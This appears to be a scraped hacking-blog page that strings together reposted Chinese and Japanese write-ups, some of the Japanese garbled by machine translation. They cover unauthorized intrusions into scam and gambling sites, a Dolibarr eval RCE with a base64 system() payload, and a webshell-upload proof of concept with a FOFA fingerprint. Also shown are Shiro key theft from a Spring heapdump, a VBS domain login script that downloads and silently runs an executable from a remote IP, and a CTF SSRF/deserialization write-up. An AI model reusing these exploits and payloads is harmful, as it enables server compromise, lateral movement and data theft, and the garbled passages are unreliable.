Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863117753

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

QQスペースで閲覧しています

图片

以下はこちらです。サイトを開くと、非常に思いやりがあり、最前線とバックオフィスに入ることができます。

图片

图片

以下の抜け穴について話しましょう

SQLインジェクション、テンプレートの2オープニングに基づいた一連のプログラムがありますが、これはたまたま私が手に持っていて監査したものです。だから簡単に取る。图片

フィルタリングなし、メモを作成してください。

图片

この任意のファイルをアップロードすることは、開発者が残したバックドアであると思います。

图片

理解できる人は一目でそれを見ることができます。ローカルで新しいフォームを作成して送信するだけです。

ただし、ターゲットサイトには問題があります。アップロード時にパスがエコーされないため、エコーについてコメントする必要があります。ローカルに構築されたテスト、

图片

この形式にアップロードファイル名を変更します。

アイデア:アップロードをローカルに再現し、リモコンと同時に送信します。同じ時点で、返されたファイル名は同じでなければなりません。

テスト图片

再登場は成功します。

图片

それがなるまでクリックします。

PHP監査に熟練している皆さんにお聞きしたいと思います

图片

このコードは便利ですか?

图片

さまざまな切り捨てを試すことは、PHPコードを実行することはできません。

元のリンクから転載:https://mp.weixin.qq.com/s/hduqd7jm72b00osu9ip1bq

1。ケース1

私は最近詐欺師にbeatられたので、それらの詐欺師に自閉症の意味を理解させることを計画しています。昨夜、私は鶏肉を食べるプラグイン图片を販売している1,000近くのプラットフォームに登りました

チートを販売する皆さんは、私が時間があるときにあなたを一つずつ襲うでしょう。

それらのほとんどはASPXプログラムを使用していることがわかりましたが、残念ながら、ソースコードなしでホワイトボックスを監査することはできず、ブラックボックスに穴が見つかりません。

私はそれらをつまむために柔らかいpersimmonsしか見つけることができません、そして私はそれらのうちの4つを昨夜1つの息で叩きました

图片

图片

图片

基本的にパゴダがあります

图片

ただし、PHP-Venom 4シリーズとサポートエンコーダーはパゴダよりも安定しています

图片

图片

图片

私はズボンを脱いで、中に4000以上のデータがあることがわかりました

图片

別の鶏肉を食べるプラグインステーションが今夜ヒットしました

残念ながら、恥ずかしいことは、書き込み許可がないということです

大きな水文記録を書いてください

1.舞台裏图片に入るルーチンはありません

これはプロモーションサイトと見なされるべきであり、その中には何もありません、プロモーションコンテンツのみ

あなたが何であろうと、それをしてください。

私はそれを見ました。それはドリームウィーバーの2番目の開発サイトでした

舞台裏に入るのは簡単で、誰もがここでそれが何を意味するのかを理解しています。

图片

图片

2。形而上学的バックエンド

バックエンドが多くの機能、特にDreamWeaverファイルマネージャーを削除したことがわかりました

しかし、経験的な観点からは、これらの二次開発の多くはエディターを実際に削除するものではありませんが、背景ページには表示されません。

要素の開始を確認します

それを変更するリンクを見つけて、それをmedia_main.php?dopost=filemanagerに置き換えるだけです

その後、クリックして、ファイルマネージャーページを見つけました

图片

シェルをアップロードします

图片

私はそれがこのように終わると思った

アップロードは成功しましたが、何もなかったことが判明しました

私はそれがWAFだと思ったので、私はそれを続けるのに十分な悪くない無害なJPGに変更しました。

ディレクトリの許可の問題だと思います

セッションの一時ファイルを見つけてアップロードしますが、それでも機能しません。

私は写真を載せませんが、それを渡すことはできません。

サイト全体に書く許可がないと思います

削除関数を試して、ファイルを削除できることを見つけます

emmmmm、それで許可がありますか?

一般的に、書き込みアクセス許可がない場合、変更許可はありません。つまり、削除許可はありません。

アップロード機能が壊れているかどうかを考えるには、メソッドをゲッシェルに変更します

3.ゲシェルに失敗したときに頭に浮かぶ最初のことは、ファイルを変更してシェルを入れることです

CSRFトークンを表示するのは間違っています

検索後に解決する方法

チェック機能を直接変更し、最初の文で返品を追加したことがわかりました

その結果、config.phpファイルを変更すると、このエラーもポップアップ表示されました

だから私はデッドサイクルに陥りました。

タグを変更するのと同じエラーです。

次に、DreamWeavingの各0日を試して、背景コードを自由に実行しました。

プロンプトの実行は成功しましたが、404ページまたはCSRFトークンのいずれかがエラーを報告しました

CSSRFトークン検出が常に失敗するのはなぜですか?私は以前にそのような問題に遭遇したことがありません。私が間違っていたからですか?

私のいとこが理由を知っているなら、ありがとうございます

4. Gotshllはもともとそれについて考え、その後食事をしに出かけました。

それから、パスワードが弱いので他の人のバックドアがあるのではないかと思いました。

DreamWeaverには独自のバックドア検出と殺害機能があることを覚えています

同じレビュー要素について、バックドアチェック機能を見つけてスキャンを開始します

案の定、疑わしいファイルが見つかりました

それから私はそれが他のすべての人のバックドアであることを見ました

何かを見つけて接続します

5.最後に、私はそれが星外のホストであり、サイト全体に書き込み許可がないことがわかったので、アップロードできないのも不思議ではありません。

ディレクトリをめくった後、クロスサイト、書き込み許可がありません、機能をバイパスすることはできません

それは何もないようなものです。

しかし、魔法は任意のファイルを削除できるということです

サイトを削除しません。証拠を保存します

2。ケース2

最初にウェブサイトを開いて、そのクールなインターフェイスを見ることができます

心温まる発表

恥知らずなプロパガンダの言葉

1。TP3開発、バックグラウンド/管理者に基づく発見注入

ユニバーサルパスワードを試してください

迅速なパスワードエラー

Admin admin888を試してみて、アカウントが存在しないことを促します

注入がある可能性があることを考えると、2つのエコーは異なっています

2。パケットをキャッチするためにげっぷを使用して、さらにテストするためにリピーターに送信できません

return status: -2条件が真であることが判明した場合、条件がfalseの場合はstatus: -1を返します

推測のさらなる確認、バックグラウンドインジェクションが存在します

sqlmapに投げて実行します

注入は検出できず、404の束が見つかりません

最初はSQLMAPトラフィックをブロックするCDNだと思っていましたが、後で保護がまったくないことがわかりました。偽のCDN

だから、CMSが何かをフィルタリングした可能性があると考えてください

3。フィルタリングをバイパスし、テスト後、角度ブラケットが表示される限り404に返されます。

バイパスの間で使用できます

この時点で、条件に応じて前後に表示し続けます=-2条件False=-1

死角状態が満たされます

突然、この状況は5番目のスペース決勝で注入された質問と同じだと思いました。

Trueが1つのページに戻り、Falseが別のページに戻り、フィルタリングされた文字が表示されて他のページに戻り、バイパスの間に使用します

CTFは誠実で、私を欺くことはありません

したがって、SQLMAPパラメーターの間に-tamper=を追加します

4.最後の

データベース内の管理者パスワードで使用されるAES暗号化は、秘密のキーがなく、解読できません。

通常のユーザーのログインポートは閉じられており、登録またはログインすることはできません。

孤児に関する情報を逃れることを除いて、役に立たない。

証拠を梱包して、関連する部門に提出する

元のリンクから転載:https://mp.weixin.qq.com/s/BMS1EPVPB1S7SU2KQX8CTA

0x01 漏洞简介

Dolibarr ERP & CRM <=15.0.3 is vulnerable to Eval injection. By default, any administrator can be added to the installation page of dolibarr, and if successfully added, malicious code can be inserted into the database and then execute it by eval.

CVE编号:CVE-2022-2633

漏洞描述:Dolibarr edit.php 存在远程命令执行漏洞,攻击者通过逻辑漏洞创建管理员后可以通过后台漏洞获取服务器权限

影响版本:<= 15.0.3

0x02 漏洞分析

1.环境搭建

源码下载地址:https://github.com/Dolibarr/dolibarr/archive/refs/tags/15.0.3.zip

解压到web目录下直接访问~/htdocs/即可

image-20221112215135292

然后配置一下conf/conf.php即可进行安装

2.任意管理员用户注册

这其实算是个逻辑漏洞,在install系统以后,他不会进行锁定,而是需要用户在documents目录中手动添加,所以我们随时可以进入这里去添加管理员账号:~/install/step4.php

比如这里我添加一个aaa用户

image-20221112224440198

可以成功进入后台的

image-20221112224514801

3.后台RCE

后台RCE的最后点在htdocs/core/lib/functions.lib.php的dol_eval()函数

但是这里是有waf的,把大多数的危险函数都给ban了

  // We block use of php exec or php file functions

    $forbiddenphpstrings = array('$$');

    $forbiddenphpstrings = array_merge($forbiddenphpstrings, array('_ENV', '_SESSION', '_COOKIE', '_GET', '_POST', '_REQUEST'));



    $forbiddenphpfunctions = array("exec", "passthru", "shell_exec", "system", "proc_open", "popen", "eval", "dol_eval", "executeCLI");

    $forbiddenphpfunctions = array_merge($forbiddenphpfunctions, array("fopen", "file_put_contents", "fputs", "fputscsv", "fwrite", "fpassthru", "require", "include", "mkdir", "rmdir", "symlink", "touch", "unlink", "umask"));

    $forbiddenphpfunctions = array_merge($forbiddenphpfunctions, array("function", "call_user_func"));



    $forbiddenphpregex = 'global\s+\$|\b('.implode('|', $forbiddenphpfunctions).')\b';



    do {

        $oldstringtoclean = $s;

        $s = str_ireplace($forbiddenphpstrings, '__forbiddenstring__', $s);

        $s = preg_replace('/'.$forbiddenphpregex.'/i', '__forbiddenstring__', $s);

        //$s = preg_replace('/\$[a-zA-Z0-9_\->\$]+\(/i', '', $s);    // Remove $function( call and $mycall->mymethod(

    } while ($oldstringtoclean != $s);



    if (strpos($s, '__forbiddenstring__') !== false) {

        dol_syslog('Bad string syntax to evaluate: '.$s, LOG_WARNING);

        if ($returnvalue) {

            return 'Bad string syntax to evaluate: '.$s;

        } else {

            dol_syslog('Bad string syntax to evaluate: '.$s);

            return '';

        }

    }



    //print $s."<br>\n";

    if ($returnvalue) {

        if ($hideerrors) {

            return @eval('return '.$s.';');

        } else {

            return eval('return '.$s.';');

        }

    } else {

        if ($hideerrors) {

            @eval($s);

        } else {

            eval($s);

        }

    }

这里再去找找dol_eval()的调用,上面的verifCond()就调用了

而这里进行了一个拼接,这个外面后面再谈

function verifCond($strToEvaluate)

{

   global $user, $conf, $langs;

   global $leftmenu;

   global $rights; // To export to dol_eval function

 

   //print $strToEvaluate."<br>\n";

   $rights = true;

   if (isset($strToEvaluate) && $strToEvaluate !== '') {

      $str = 'if(!('.$strToEvaluate.')) $rights = false;';

      dol_eval($str, 0, 1, '2'); 

   }

   return $rights;

}

再转而寻找verifCond函数的全局的参数可控的调用,在menubase.class.php的menuLoad()函数中就存在一个点

image-20221112232201159

可以看到这里verifCond代码虽然是可控的,但是是从数据库中查询的结果中获取的

关注perms和enable,这两个都是可以直接进入verifCond的

       

 $resql = $this->db->query($sql);

        if ($resql) {

            $numa = $this->db->num_rows($resql);

 

            $a = 0;

            $b = 0;

            while ($a < $numa) {

                //$objm = $this->db->fetch_object($resql);

                $menu = $this->db->fetch_array($resql);

 

                // Define $right

                $perms = true;

                if (isset($menu['perms'])) {

                    $tmpcond = $menu['perms'];

                    if ($leftmenu == 'all') {

                        $tmpcond = preg_replace('/\$leftmenu\s*==\s*["\'a-zA-Z_]+/', '1==1', $tmpcond); // Force part of condition to true

                    }

                    $perms = verifCond($tmpcond);

                    //print "verifCond rowid=".$menu['rowid']." ".$tmpcond.":".$perms."<br>\n";

                }

 

                // Define $enabled

                $enabled = true;

                if (isset($menu['enabled'])) {

                    $tmpcond = $menu['enabled'];

                    if ($leftmenu == 'all') {

                        $tmpcond = preg_replace('/\$leftmenu\s*==\s*["\'a-zA-Z_]+/', '1==1', $tmpcond); // Force part of condition to true

                    }

                    $enabled = verifCond($tmpcond);

                }

我们去前面看看这里执行的sql语句,他是从".MAIN_DB_PREFIX."menu表中查询的数据,但是有WHERE条件语句

  • m.entity IN (0,".$conf->entity.")
  • m.menu_handler IN ('".$this->db->escape($menu_handler)."','all')

所以我们如果能找到一个INSERT进".MAIN_DB_PREFIX."menu中、可以控制perms和enable字段并且entity和menu_handler能满足WHERE条件的语句即可,这里注意entity来源于$conf->entity

$sql = "SELECT m.rowid, m.type, m.module, m.fk_menu, m.fk_mainmenu, m.fk_leftmenu, m.url, m.titre, m.prefix, m.langs, m.perms, m.enabled, m.target, m.mainmenu, m.leftmenu, m.position";

$sql .= " FROM ".MAIN_DB_PREFIX."menu as m";

$sql .= " WHERE m.entity IN (0,".$conf->entity.")";

$sql .= " AND m.menu_handler IN ('".$this->db->escape($menu_handler)."','all')";

if ($type_user == 0) {

    $sql .= " AND m.usertype IN (0,2)";

}

if ($type_user == 1) {

    $sql .= " AND m.usertype IN (1,2)";

}

$sql .= " ORDER BY m.position, m.rowid";

这里直接正则搜索一下,的确存在这么个点,在同一个文件的create()函数

image-20221113000249851

接下来得看看参数是否可控,这里的VALUES设定为成员属性,但是entity是$conf->entity,这里就直接满足了条件,因为上面SQL查询也是这个

image-20221113001946769

接下来发现menu_handler在执行menuLoad函数的时候都会自动填入的

image-20221113002330295

所以这两个WHERE条件都解决了,剩下就是看perms和enable是否可控了,在类内部没看到有对成员变量赋值的地方,所以还得全局搜索一下

发现perms和enable在menus/edit.php中都是可以直接控制的

image-20221113002856865

经过调试发现,这里menuId需要唯一否则会冲突无法写入数据库,这里的type需要设置为1,否则也会报错

x4xci2mgq2j15154.png

接下来就可以研究一下,如何去绕过waf执行eval,这里作者的做法是利用php的特性:变量函数

// file_put_contents

$a=base64_decode('ZmlsZV9wdXRfY29udGVudHM=');

// shellcode

$a('.1234.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8+Cg=='));

再往前看verifCond函数

这里进行了一个字符串的拼接,由于是执行eval的,所以我们可以去闭合他的括号,注释掉后面的代码

function verifCond($strToEvaluate)

{

   global $user, $conf, $langs;

   global $leftmenu;

   global $rights; // To export to dol_eval function

 

   //print $strToEvaluate."<br>\n";

   $rights = true;

   if (isset($strToEvaluate) && $strToEvaluate !== '') {

      $str = 'if(!('.$strToEvaluate.')) $rights = false;';

      dol_eval($str, 0, 1, '2'); 

   }

   return $rights;

}

也就是这样的一个payload(无害化的payload

1==1));$d=base64_decode('ZWNobyAnPCEtLScmJmVjaG8gcHduZWQhISEmJmlkJiZlY2hvJy0tPic=');$a=base64_decode('c3lzdGVt');$a($d);//

然后放在enable参数存入数据库,最后发包如下

image-20221113004416906

成功存入数据库

image-20221113004508666

debug一下,进入verifCond

image-20221113004645570

跟进verifCond,恶意构造拼接绕过,进入dol_eval

image-20221113004826342

代码执行成功

image-20221113004918701

成功getshell

image-20221113005123697

漏洞调用栈

image-20221113004952924

0x03 漏洞总结

这里这个RCE漏洞,其实原理类似于二次注入,先把恶意代码存入数据库,再从数据库提取数据时触发恶意代码,这里还绕过了一个waf,利用的是php的特性——变量函数

漏洞修复

这里作者对于漏洞的修复一个是verifCond函数的加固

这里取消了字符串的拼接且让dol_eval的第四个参数为"1"

image-20221113010538177

这样就会走入下面的这个判断,看注释这里的正则就是为了防止RCE而设计的

image-20221113011151428

一个是dol_eval函数的加强,这里forbiddenphpfunctions里添加了verifCond函数,直接禁止了verifCond的执行,但是不太懂这有啥意义hhh

image-20221113010132703

            作者:Huamang 转自原文连接: https://blog.huamang.xyz/post/cve-2022-40871/

0x01脆弱性説明ネットワークDuboは、インターネット手段(違法なDubo Webサイト、ほうれん草アプリ、Wechatグループなど)を通じて実施されるギャンブルアクティビティを指します。オンラインデュボは違法であり、資金は法律によって保護されていないため、多くの「詐欺」行動があります。多くの人々はしばしば、だまされた後、警察に電話をかけず、家族の破壊をもたらします。したがって、Duboを取り締まることが緊急です。特定のほうれん草システムにファイルをアップロードする脆弱性があります。攻撃者は、脆弱性を介してトロイの木馬ファイルをアップロードして、サーバーが失われることがあります。

Image

0x02脆弱性再発FOFA:body='main.e5ee9b2df05fc2d310734b11cc8c911e.css'

1. POCを実行し、Ice Scorpion Horseをアップロードし、アップロードパスに戻ります

//statics/admin/webuploader/0.1.5/server/preview.php http/2host: {{hostname}} user-agent: mozilla/5.0(windows nt 10.0; win64; x64; Firefox/104.0ACCEPT: TEXT/HTML、APPLACE/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、*/*; Q=0.8Accept-Language: Zh-cn、zh; q=0.8、zh-tw; q=0.7、zh-hk; q=0.5、en-us; q=0.3、en; q=0.2accept-encoding: gzip、deflatednt3360 Navigatesec-fetch-site: nonesec-fetch-user: Application/x-www-form-urlencodedcontent-length: 746DATA:IMAGE/PHP; BASE64、PD9WAHAKQGVYCM9YX3JLCG9YDGLUZYGWKTSK2VZC2LVBL9ZDGFYDCGPOWOGICAGJ gtlet0iztq1ztmyowzlyjvkoti1yii7iaojjf9trvntsu9owydrj109jgtletskcsrwb3n0pwzpbgvfz2v0x2nvbnrlbnrr zkcjwaha6ly9pbnb1dcipowojawyoiwv4dgvuc2lvbl9sb2fkzwqoj29wzw5zc2wnkskkcxskckkkkkkddd0iymfzzty0xyiui mrly29kzsi7cgkjhbvvc3q9jhqojhbvvc3quiiipowojcqojcwzvcigkat0woyrpphn0cmxlbigkcg9zdck7jgkrkykgewog icagcqkjicrwb3n0wyrpxsa9icrwb3n0wyrpxv4ka2v5wyrpkzemmtvdoyakiakjcx0kcx0kcwvsc2ukcxskckkkcgg 9ZDD1VCGVUC3NSX2RLY3J5CHQOJHBVVC3QSICJBRVMXMJGILCAKA2V5KTSKX0KICAGICRHCNI9ZXHWBG9KZSGNFCCSJHBV C3QPOWOGICAGJGZ1BMM9JGFYCLSWXTSKICAGICRWYXJHBXM9JGFYCLSXXTSKCWNSYXNZIEN7CHVIBGLJIGZ1BMN0AW9UIF 9faw52b2tlkcrwkksb7zxzhbcgkcc4iiik7fx0kicagiebjywxsx3vzzxjfznvuyyhuzxcgqygplcrwyxjhbxmpowo/pg==s Image

2。ICESCORPIONは、Webシェルを取得するために接続します

Ice Scorpionデフォルト接続パスワード:Rebeyond Image

3.ヌクレイバッチ検証スクリプトは、ナレッジプラネット(多くの資産があります)で公開されています。

元のリンクで転載: https://mp.weixin.qqc.com/s?__biz=mzkymtmwnju1mg==mid=2247486261Idx=1Sn=2ea324e5b3b895bd500a509bd15ae90fchksm=c184df E2F6F356F47A5F80D045FAC890227A508488B23898482CE4F9DAA91FECC54D2F83629SCENE=178CUR_ALBUM_ID=258167779399042598912#RD

0x00間違った終わりに応じて

私は誤ってゴミのほうれん草のウェブサイト豚を殺すディスク图片のセットに遭遇しました

图片

スキャンされたディレクトリとファイルに1つずつアクセスしても、それほど役に立ちませんが、背景アドレスが見つかります。 phpmyAdminアクセス500。图片

图片

XD.PHPにアクセスしてアクセスして、検証コード图片も許可する必要があることがわかります

私は8888、123456を試しましたが、他のすべてがエラーを促し、その場でそれらを閉じました。图片

ドメイン爆発の試みは1つだけです。 NMAPスキャンでは何も見つかりませんでした。ホームページに戻って、URLは少し珍しいことがわかりました。图片

0x01同様のWebサイトとソースコードを探しています

このような詐欺は、ソースコードをめったに開発しません。ソースコードがインターネットからダウンロードされ、それを構築する人を見つけたことは確かです。機能が機能なので、検索しました。图片 图片

0x02 auditを開始

非常に多くのWebサイトのソースコードは混乱している必要があるため、ソースコードを見つけて監査しようとしています。图片

ソースコードをダウンロードして、Seayでスキャンします。ソースコードが大きすぎて、私はそれをローカルに構築するのが面倒です。ソースコードを直接使用してターゲットを批判します。图片

そこからfileupload.phpファイルを見つけましたが、少し問題があるようです。图片

アクセスターゲットは、ファイルも存在することを発見します。ファイルを抽出し、ローカルに構築された環境でテストします。图片

ダイレクトアクセスは、2つのフォルダーのアップロードとupload_tmpを自動的に作成します。これはデモポイントです。この点は、実際にはバックドアのように見えます。图片

图片

また、ファイル名変数は完全に制御可能です。图片

読み続けて、いくつかの判断を見つけてください。フォームの名前をアップロードするには、ファイルできます。ファイルをアップロードする場合は、他のファイルについて心配する必要はありません。アップロードフォームを変更するだけです。パラメーター名とファイルを追加するだけです。

图片

名前パラメーター制御ファイル名aaa.php 图片を制御します

1.jpgアップロード图片を選択します

アップロード後にリターンパスはありませんが、AAA.PHPファイルはすでにアップロード中に存在しています。 SQL注入图片

変数内の場所の値は、リクエストから生じるものであり、上記のチェックインプットで検出されたタイプの値はありません。图片

Betlistcntをフォローしてください

图片 图片処理せずにクエリに直接持ち込まれ、多くの同様のポイントがあります。

0x03監査脆弱性の検証

图片

以前のアップロードを通してウェブシェルを取得し、権利を増やしてください。图片

それはdebianであることがわかりました。ポート6379があるが、ルートユーザー图片によって開始されていないことがわかりました

图片

カーネルバージョンを見た後、私はそれが大丈夫であるべきだと感じているので、私は許可を持つEXPを見つけようとします。图片

MSF Horse 图片を生成します

便利なため、MSFを使用してこのマシンを起動しました。次に、対応するエスカレーションExpを探します。

0x04権利を調達してみてください

これらの2つのCVE-2019-13272とCVE-2017-16995がGitHubで利用ツールを探していたとき、MSFには実際に右に右に付属していることを思い出しました。そこで、图片を検索しようとしました

图片を検索する場合は使用してください

图片

結果は、その場で图片で失敗しました

2番目のCVE-2017-16995 图片をお試しください

图片

图片ルート許可を使用したセッションを正常に返しました。特権のエスカレーションは完了し、元のリンクで再現されました:https://MP.Weixin.QQQQQQQQQQQQQ5IMLFHHNQNQNBTPFXCA

序文

この記事は、コミュニケーションと学習のみです。この記事によって提供された情報の普及と利用によって引き起こされる直接的または間接的な結果と損失は、ユーザー自身の責任であり、記事の著者はこれに対して一切責任を負いません。

侵入テストは、情報収集の3つの段階に分類できます。関連するすべての資産情報を可能な限り収集します。テストの範囲を決定します。脆弱性の発見。収集された資産のさらなる脆弱性の検出と搾取。発見された脆弱性のさらなる搾取と搾取の程度。 1。JS图片のAPIインターフェイス

2。マルチポートサイト图片3。カスタマーサービスシステムフィッシングガイダンスなど。图片4。ポイントシステムは、脆弱なサイドステーション图片5をターゲットにします。リチャージインターフェイス图片6。デモサイトのソースコード分析を見つけるソースコードホワイトボックス分析图片 图片

图片

7. BCバックエンドは、JSリソースURL、サブドメインなど、および一般的な小さなサイトを見つけるためのその他の方法にルート化されています。主に最初のドメイン、AD AG ADMIN 123ADMIN HTなどを追加します。

1. 简介

我搭建了一个Spring heapdump泄露shiro key从而RCE的漏洞环境,Github地址:https://github.com/P4r4d1se/heapdump_shiro_vuln
漏洞利用条件:

  • Spring Shiro环境
  • 存在heapdump文件泄露
  • 存在可利用链

2. 漏洞原理

Shiro相关的漏洞原理和调试分析已经有很多大佬分享过了,这里不再赘述,这里主要针对这个漏洞环境进行说明:
(1)Spring其实是有自己默认安全框架的,叫Spring Security,但可能有的开发用Shiro用习惯了,将Spring Securiy替换成了Shiro,这种情况并不少见,比如若依就是Spring shiro。

xsdawiyifra15087.jpg

(2)在有key的情况下,即使是最新版的Shiro也一样存在漏洞,而且在很多时候都会因为开发、部署等问题导致shiro key的泄露。
(3)Shiro大于1.2.4的版本中,在没有开发人员人工干预的情况下key改为了随机生成,这个随机生成是在每次启动Web环境的时候,重启前这个key不会改变,可以在JVM虚拟机内存里找到。

eqzcksoh0bo15088.jpg

(4)Spring的heapdump文件就是从JVM虚拟机内存导出的。
综上所述导致了这个组合漏洞的产生。

3. 漏洞演示

加载漏洞环境后,可以看到Shiro版本为1.8.0:

2su5xns0enz15089.jpg

访问8080端口的/actuator/heapdump获取heapdump文件:

u1ggcfhvgrd15091.jpg


获取其中的shiro key,我常用的有两种方式:
(1)JDumpSpider:https://github.com/whwlsfb/JDumpSpider
这个小工具可以自动爬取heapdump中的变量信息,比较方便,坏处是可能会漏掉没在爬取列表中的信息。
直接运行:java -jar JDumpSpider.jar heapdump即可自动获取变量信息,这里获取到ShiroKey:nwpcg515e0d15092.jpg(2)jvisualvm.exe:Java自带的工具,默认路径为:JDK目录/bin/jvisualvm.exe
这个工具需要手动去找想要的信息,在过滤里输入org.apache.shiro.web.mgt.CookieRememberMeManager,圈出来的16个字节的值就是key:uahwkiuf2mm15094.jpg
用一个Python小脚本转成base64编码后的Shiro key:

用一个Python小脚本转成base64编码后的Shiro key:

import base64
import struct

print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', 109,-96,12,-115,33,59,24,112,44,124,56,110,-15,59,1,-41)))
abftwbqh41215096.jpg

使用获得的key进行利用成功:

gujb35nyfpi15097.jpg

重新启动服务器再次获取shiro key,可以看到key改变了,验证了漏洞原理的第3点,每次启动生成一个随机key:

4xahqmkzrmk15101.png

改用新的key仍然可进行利用:

zygouey3m5415103.jpg




转自原文链接: https://xz.aliyun.com/t/11908

HireHackking

日常SRC中xss小tips

0x00  前言

关于众测、专属中如何去捡漏xss洞,水文,水文,水文!!!

0x01  日常测试

日常无聊测站点,当你在渗透测试时候,发现有某个html标签调用服务器内图片的,并且是那种加入服务器ip地址的,可以尝试通过修改host头来fuzz一下,探测下是否存在xss。w5p2sjdikwn15072.jpg
dwszvyid1pv15073.jpg看到这种情况我们可以大概猜想一下,其中的后段代码可能是以下样子:<img src="<?php echo "http://{$_SERVER['HTTP_HOST']}/"?>xxx/aaa.png" />这样看来就很简单了,修改一下请求包中的host就能造成xss咯。pnnf24mwhsz15074.jpg
成功弹窗hebst5xsqz115075.jpg
hmj3wfkxplg15076.jpg捡破烂小tips完结。

转自原来链接:https://blog.csdn.net/Guapichen/article/details/124040935?spm=1001.2014.3001.5501
HireHackking

登录脚本下发

0x1、利用场景

当获取到域控权限或domain admin等高权限时,想横向到域内PC主机上对方开启了防火墙,无法通过445、135进行横向利用,可以通过登录脚本绑定的方式获取目标主机权限。

0x2、利用方法

方法一、powershell win2012及以上自带,获取当前域用户信息

Get-ADUser -Filter * -Properties * | sort LastLogonDate | select name,mail,DistinguishedName,LastLogonDate | Export-Csv -Path C:\Users\Public\Documents\user.csv -Encoding utf8

绑定指定用户

Set-ADUser -Identity zhangsan -ScriptPath "download.vbs"

解绑

Set-ADUser -Identity zhangsan -ScriptPath " "

方法二、利用dsmod进行绑定

 dsmod user -loscr "download.vbs" "CN=john,CN=Users,DC=redteam,DC=com"

解绑

dsmod user -loscr "" "CN=john,CN=Users,DC=redteam,DC=com"

刷新组策略

shell gpupdate /force

VBS内容

strFileURL = "http://192.168.172.129:82/logo.ico"strHDLocation = "C:\Users\Public\Documents\ChsIME.exe"Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")objXMLHTTP.open "GET", strFileURL, falseobjXMLHTTP.send()If objXMLHTTP.Status = 200 ThenSet objADOStream = CreateObject("ADODB.Stream")objADOStream.OpenobjADOStream.Type = 1 'adTypeBinaryobjADOStream.Write objXMLHTTP.ResponseBodyobjADOStream.Position = 0'Set the stream position to the startSet objFSO = Createobject("Scripting.FileSystemObject")If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocationSet objFSO = NothingobjADOStream.SaveToFile strHDLocationobjADOStream.CloseSet objADOStream = NothingEnd ifSet objXMLHTTP = NothingstrComputer = "."set ws=wscript.createobject("wscript.shell")val=ws.run ("C:\Users\Public\Documents\ChsIME.exe",0) 

上传至dc c:\windows\SYSVOL\sysvol\redteam.com\SCRIPTS\目录下,通过方法一或方法二进行绑定后刷新组策略即可



 https://www.cnblogs.com/websecyw/p/16657762.html


HireHackking

安洵杯2022 Web Writeup

babyphp

index.php:

<?php
//something in flag.php
class A
{
    public $a;
    public $b;
    public function __wakeup()
    {
        $this->a = "babyhacker";
    }
    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}
class B
{
    public $a;
    public $b;
    public $k;
    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}
class C
{
    public $a;
    public $c;
    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}
if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);

flag.php:

<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
}else{
   echo "only localhost!!";
}

通过构造 pop 链查看 phpinfo 发现 session.serialize_handler 为 php, 再结合 flag.php 的源码推测是利用 session 反序列化 SoapClient 来进行 ssrf

思路就是先控制 ini_set 的参数指定 serialize_handler 为 php_serialize, 传参 sess 为反序列化 SoapClient 的 payload, 然后去掉所有 get post 参数访问一次页面触发反序列化, 最后利用已知 pop 链调用 SoapClient __call 方法来触发 ssrf

ssrf 则先利用 php 的原生类 GlobIterator 来查找根目录下以 f 开头的文件, 然后利用 SplFileObject 读取 flag

pop 链 payload:

<?php
class A
{
    public $a;
    public $b;
}
class B
{
}
class C
{
    public $a;
    public $c;
}
$cc = new C();
$cc->a = 'xxxx';
$a = new A();
$a->a = '0e215962017';
$a->b = $cc;
$c = new C();
$c->c = $a;
$b = new B();
$b->a = $c;
echo serialize($b);

ssrf payload:

<?php
// $a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/f*', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test'));
$a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test'));
$b = serialize($a);
echo '|'.urlencode($b);

先利用 GlobIterator

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271930808.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271931449.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271934414.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271935912.png

再利用 SplFileObject

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936690.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936090.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938787.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938294.png

EZ_JS

登录界面随便输入账号密码, 之后会跳转到 /cookie 路由, 右键注释 jsfuck 解密提示 输入大写

主页右键注释如下:

<!--This secret is 7 characters long for security!
hash=md5(secret+"flag");//1946714cfa9deb70cc40bab32872f98a
